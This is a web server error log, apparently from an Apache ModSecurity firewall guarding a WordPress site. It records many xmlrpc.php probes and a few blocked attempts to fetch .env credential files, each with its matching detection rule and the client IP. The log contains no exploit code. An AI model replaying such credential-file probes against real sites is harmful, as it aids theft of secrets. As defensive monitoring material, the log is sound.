[Fri Apr 17 13:57:59.974372 2026] [:error] [pid 9152:tid 9193] [client 217.160.225.18:53176] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHL55JYca8I3TNCwIf2WgAAAEM"]
[Fri Apr 17 13:59:45.406630 2026] [:error] [pid 61523:tid 61563] [client 59.125.102.142:49018] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHMUcOaH-Pgc7WEf4M8GQAAAdU"]
[Fri Apr 17 14:03:55.669719 2026] [:error] [pid 61523:tid 61556] [client 46.224.19.136:17900] [client 46.224.19.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.224.19.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHNS8OaH-Pgc7WEf4M8xwAAAc4"]
[Fri Apr 17 14:05:41.472475 2026] [:error] [pid 61523:tid 61543] [client 157.66.27.87:47992] [client 157.66.27.87] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.87, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHNtcOaH-Pgc7WEf4M9KwAAAcE"]
[Fri Apr 17 14:09:58.617361 2026] [:error] [pid 9263:tid 9279] [client 136.117.206.197:38096] [client 136.117.206.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.local"] [unique_id "aeHOthP68VyHNvj1e56YTgAAAM4"]
[Fri Apr 17 14:10:35.000627 2026] [:error] [pid 9263:tid 9272] [client 136.117.206.197:33860] [client 136.117.206.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "aeHO2hP68VyHNvj1e56YhwAAAMc"]
[Fri Apr 17 14:11:19.425374 2026] [:error] [pid 9263:tid 9280] [client 136.117.206.197:52568] [client 136.117.206.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/core/.env"] [unique_id "aeHPBxP68VyHNvj1e56ZOwAAAM8"]
[Fri Apr 17 14:11:19.674592 2026] [:error] [pid 25010:tid 25016] [client 159.89.91.236:38884] [client 159.89.91.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.91.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHPB4-7kkf42RarqQ1DBgAAAUM"]
[Fri Apr 17 14:14:59.641767 2026] [:error] [pid 9152:tid 9206] [client 185.51.79.114:43330] [client 185.51.79.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.51.79.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHP45JYca8I3TNCwIf52gAAAFA"]
[Fri Apr 17 14:15:43.997271 2026] [:error] [pid 25010:tid 25015] [client 137.184.25.215:40440] [client 137.184.25.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.25.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHQD4-7kkf42RarqQ1DfAAAAUI"]
[Fri Apr 17 14:17:52.581956 2026] [:error] [pid 9263:tid 9289] [client 157.90.158.130:49704] [client 157.90.158.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.90.158.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHQkBP68VyHNvj1e56cBgAAANg"]
[Fri Apr 17 14:18:47.189562 2026] [:error] [pid 34273:tid 34290] [client 158.69.220.86:35846] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHQx2uQDW686mK3dgHAywAAAY8"]
[Fri Apr 17 14:19:59.227966 2026] [:error] [pid 9263:tid 9269] [client 176.96.136.90:52920] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHRDxP68VyHNvj1e56dagAAAMQ"]
[Fri Apr 17 14:22:09.074635 2026] [:error] [pid 51878:tid 51881] [client 157.230.98.69:34878] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.98.69, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHRkUnQhUtMbw9EsgYYuQAAAQE"]
[Fri Apr 17 14:22:25.379836 2026] [:error] [pid 51878:tid 51881] [client 144.91.86.124:36202] [client 144.91.86.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.86.124, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHRoUnQhUtMbw9EsgYYxAAAAQE"]
[Fri Apr 17 14:25:09.908824 2026] [:error] [pid 25010:tid 25030] [client 57.128.117.142:54030] [client 57.128.117.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 57.128.117.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHSRY-7kkf42RarqQ1EuAAAAVE"]
[Fri Apr 17 14:26:04.190111 2026] [:error] [pid 9263:tid 9271] [client 137.74.43.174:51854] [client 137.74.43.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.74.43.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHSfBP68VyHNvj1e56gUwAAAMY"]
[Fri Apr 17 14:27:05.831687 2026] [:error] [pid 61523:tid 61543] [client 172.238.64.140:54200] [client 172.238.64.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.238.64.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHSucOaH-Pgc7WEf4NEewAAAcE"]
[Fri Apr 17 14:29:08.801601 2026] [autoindex:error] [pid 9263:tid 9287] [client 164.68.113.198:51638] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 17 14:30:20.009427 2026] [:error] [pid 25010:tid 25024] [client 194.164.91.114:33428] [client 194.164.91.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.91.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHTfI-7kkf42RarqQ1FRQAAAUs"]
[Fri Apr 17 14:33:36.318702 2026] [:error] [pid 34273:tid 34279] [client 176.96.136.90:35888] [client 176.96.136.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.96.136.90, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHUQGuQDW686mK3dgHDCwAAAYQ"]
[Fri Apr 17 14:38:11.967313 2026] [:error] [pid 61523:tid 61550] [client 159.223.61.19:57946] [client 159.223.61.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.61.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHVU8OaH-Pgc7WEf4NIIgAAAcg"]
[Fri Apr 17 14:38:45.635601 2026] [:error] [pid 9263:tid 9282] [client 68.178.164.217:41838] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHVdRP68VyHNvj1e56mOgAAANE"]
[Fri Apr 17 14:39:20.021857 2026] [:error] [pid 61523:tid 61564] [client 185.113.100.4:56966] [client 185.113.100.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.113.100.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHVmMOaH-Pgc7WEf4NIUgAAAdY"]
[Fri Apr 17 14:41:41.000503 2026] [:error] [pid 51878:tid 51896] [client 107.180.241.110:46134] [client 107.180.241.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.241.110, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHWJEnQhUtMbw9EsgYcUgAAARA"]
[Fri Apr 17 14:46:29.236831 2026] [:error] [pid 34273:tid 34288] [client 143.244.166.58:47160] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHXRWuQDW686mK3dgHFXwAAAY0"]
[Fri Apr 17 14:51:00.375314 2026] [:error] [pid 9263:tid 9267] [client 35.198.41.118:42570] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHYVBP68VyHNvj1e56qsAAAAMI"]
[Fri Apr 17 14:58:47.141462 2026] [:error] [pid 9152:tid 9205] [client 217.160.15.203:46566] [client 217.160.15.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.15.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHaJ5JYca8I3TNCwIcExAAAAE8"]
[Fri Apr 17 15:05:20.297248 2026] [:error] [pid 9152:tid 9209] [client 5.56.58.240:58218] [client 5.56.58.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.56.58.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHbsJJYca8I3TNCwIcGGQAAAFM"]
[Fri Apr 17 15:07:40.353019 2026] [:error] [pid 9263:tid 9287] [client 82.223.33.117:50606] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHcPBP68VyHNvj1e56xzgAAANY"]
[Fri Apr 17 15:08:32.445623 2026] [:error] [pid 9152:tid 9191] [client 51.83.154.40:46352] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHccJJYca8I3TNCwIcG7QAAAEE"]
[Fri Apr 17 15:08:59.087305 2026] [:error] [pid 61523:tid 61561] [client 172.176.155.194:44444] [client 172.176.155.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.176.155.194, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHci8OaH-Pgc7WEf4NSUQAAAdM"]
[Fri Apr 17 15:08:59.088108 2026] [:error] [pid 61523:tid 61561] [client 172.176.155.194:44444] [client 172.176.155.194] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHci8OaH-Pgc7WEf4NSUQAAAdM"]
[Fri Apr 17 15:08:59.089129 2026] [:error] [pid 61523:tid 61561] [client 172.176.155.194:44444] [client 172.176.155.194] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHci8OaH-Pgc7WEf4NSUQAAAdM"]
[Fri Apr 17 15:12:31.185713 2026] [:error] [pid 9152:tid 9193] [client 78.88.230.100:49904] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHdX5JYca8I3TNCwIcH9QAAAEM"]
[Fri Apr 17 15:12:44.172985 2026] [:error] [pid 9152:tid 9199] [client 211.21.61.225:35570] [client 211.21.61.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHdbJJYca8I3TNCwIcIAwAAAEk"]
[Fri Apr 17 15:13:13.752698 2026] [:error] [pid 51878:tid 51903] [client 104.37.174.183:53100] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHdiUnQhUtMbw9EsgYjjgAAARc"]
[Fri Apr 17 15:13:26.907208 2026] [:error] [pid 61523:tid 61550] [client 185.246.164.237:59700] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHdlsOaH-Pgc7WEf4NTzQAAAcg"]
[Fri Apr 17 15:13:43.388302 2026] [:error] [pid 25010:tid 25024] [client 66.70.178.228:36112] [client 66.70.178.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.70.178.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHdp4-7kkf42RarqQ1J2gAAAUs"]
[Fri Apr 17 15:14:25.542778 2026] [:error] [pid 61523:tid 61557] [client 200.152.177.16:49298] [client 200.152.177.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.152.177.16, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHd0cOaH-Pgc7WEf4NUKwAAAc8"]
[Fri Apr 17 15:16:01.811978 2026] [:error] [pid 34273:tid 34281] [client 54.37.239.214:46392] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHeMWuQDW686mK3dgHJtQAAAYY"]
[Fri Apr 17 15:17:44.348586 2026] [:error] [pid 9152:tid 9213] [client 85.215.188.44:44908] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHemJJYca8I3TNCwIcJNQAAAFc"]
[Fri Apr 17 15:21:54.160328 2026] [:error] [pid 34273:tid 34291] [client 78.88.230.100:40536] [client 78.88.230.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 78.88.230.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHfkmuQDW686mK3dgHKngAAAZA"]
[Fri Apr 17 15:24:57.740614 2026] [:error] [pid 9263:tid 9271] [client 34.76.142.88:48807] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHgSRP68VyHNvj1e567ugAAAMY"]
[Fri Apr 17 15:27:59.999895 2026] [:error] [pid 9263:tid 9280] [client 144.91.66.223:38102] [client 144.91.66.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.91.66.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHg_xP68VyHNvj1e569TgAAAM8"]
[Fri Apr 17 15:29:57.747268 2026] [:error] [pid 9263:tid 9275] [client 107.180.252.236:59570] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHhdRP68VyHNvj1e56-DAAAAMo"]
[Fri Apr 17 15:30:47.729269 2026] [:error] [pid 34273:tid 34277] [client 103.151.52.53:40098] [client 103.151.52.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.151.52.53, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHhp2uQDW686mK3dgHMrgAAAYI"]
[Fri Apr 17 15:35:17.238034 2026] [:error] [pid 9263:tid 9267] [client 211.21.61.245:60586] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHitRP68VyHNvj1e56_4AAAAMI"]
[Fri Apr 17 15:36:20.371711 2026] [:error] [pid 9152:tid 9212] [client 104.168.115.206:47144] [client 104.168.115.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.168.115.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHi9JJYca8I3TNCwIcONwAAAFY"]
[Fri Apr 17 15:37:07.777455 2026] [:error] [pid 9151:tid 9185] [client 43.156.13.166:59760] [client 43.156.13.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 43.156.13.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHjI8hTVuRPkua22vQasgAAABg"]
[Fri Apr 17 15:37:11.184540 2026] [:error] [pid 9263:tid 9275] [client 194.164.166.170:39230] [client 194.164.166.170] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.166.170, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHjJxP68VyHNvj1e57BFgAAAMo"]
[Fri Apr 17 15:37:11.252442 2026] [:error] [pid 9263:tid 9276] [client 185.199.223.39:39864] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHjJxP68VyHNvj1e57BFwAAAMs"]
[Fri Apr 17 15:38:04.609917 2026] [:error] [pid 61523:tid 61555] [client 62.169.28.251:33234] [client 62.169.28.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.28.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHjXMOaH-Pgc7WEf4NdJQAAAc0"]
[Fri Apr 17 15:41:00.558778 2026] [:error] [pid 9152:tid 9196] [client 185.74.81.105:43086] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHkDJJYca8I3TNCwIcPeQAAAEY"]
[Fri Apr 17 15:43:11.470482 2026] [:error] [pid 9263:tid 9277] [client 175.6.217.4:34871] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aeHkjxP68VyHNvj1e57EPQAAAMw"]
[Fri Apr 17 15:44:35.185324 2026] [:error] [pid 61523:tid 61554] [client 192.41.77.25:47098] [client 192.41.77.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.41.77.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeHk48OaH-Pgc7WEf4NfFwAAAcw"]
